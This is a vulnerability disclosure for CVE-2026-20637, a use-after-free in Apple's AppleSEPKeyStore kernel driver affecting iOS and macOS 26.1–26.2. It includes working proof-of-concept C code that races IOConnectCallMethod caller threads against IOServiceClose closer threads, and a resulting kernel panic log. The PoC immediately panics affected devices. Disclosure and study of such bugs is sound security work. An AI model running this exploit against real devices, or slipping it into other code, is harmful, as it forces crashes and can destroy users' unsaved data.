CVE-2026-20637: AppleSEPKeyStore Use-After-Free

CVE-2026-20637 | Author: Johnny Franks (@zeroxjf)

Component: AppleKeyStore

Impact: An app may be able to cause unexpected system termination

Description: A use after free issue was addressed with improved memory management.

— Apple Security Content, iOS 26.3 and iPadOS 26.3

Target Versions

iOS	26.1 - 26.2 (tested)
macOS	26.1 - 26.2 (tested)
Component	com.apple.driver.AppleSEPKeyStore
Patched	iOS 26.3 / iPadOS 26.3

Note: Apple may have gradually patched this between 26.2.1 - 26.3, so it may not work on intermediate versions.

Warning

This PoC immediately kernel-panics affected devices. Save work before running; repeated forced panics can corrupt unsaved state.

Vulnerability

Use-after-free in IOCommandGate triggered through an AppleKeyStore open/close race. Eight caller threads hammer IOConnectCallMethod on selectors 0-15 while four closer threads race IOServiceClose, creating a window where the command gate is accessed after free.

Proof of Concept

#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // no delay: keep the close/call race window hot
}

Panic Log

panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f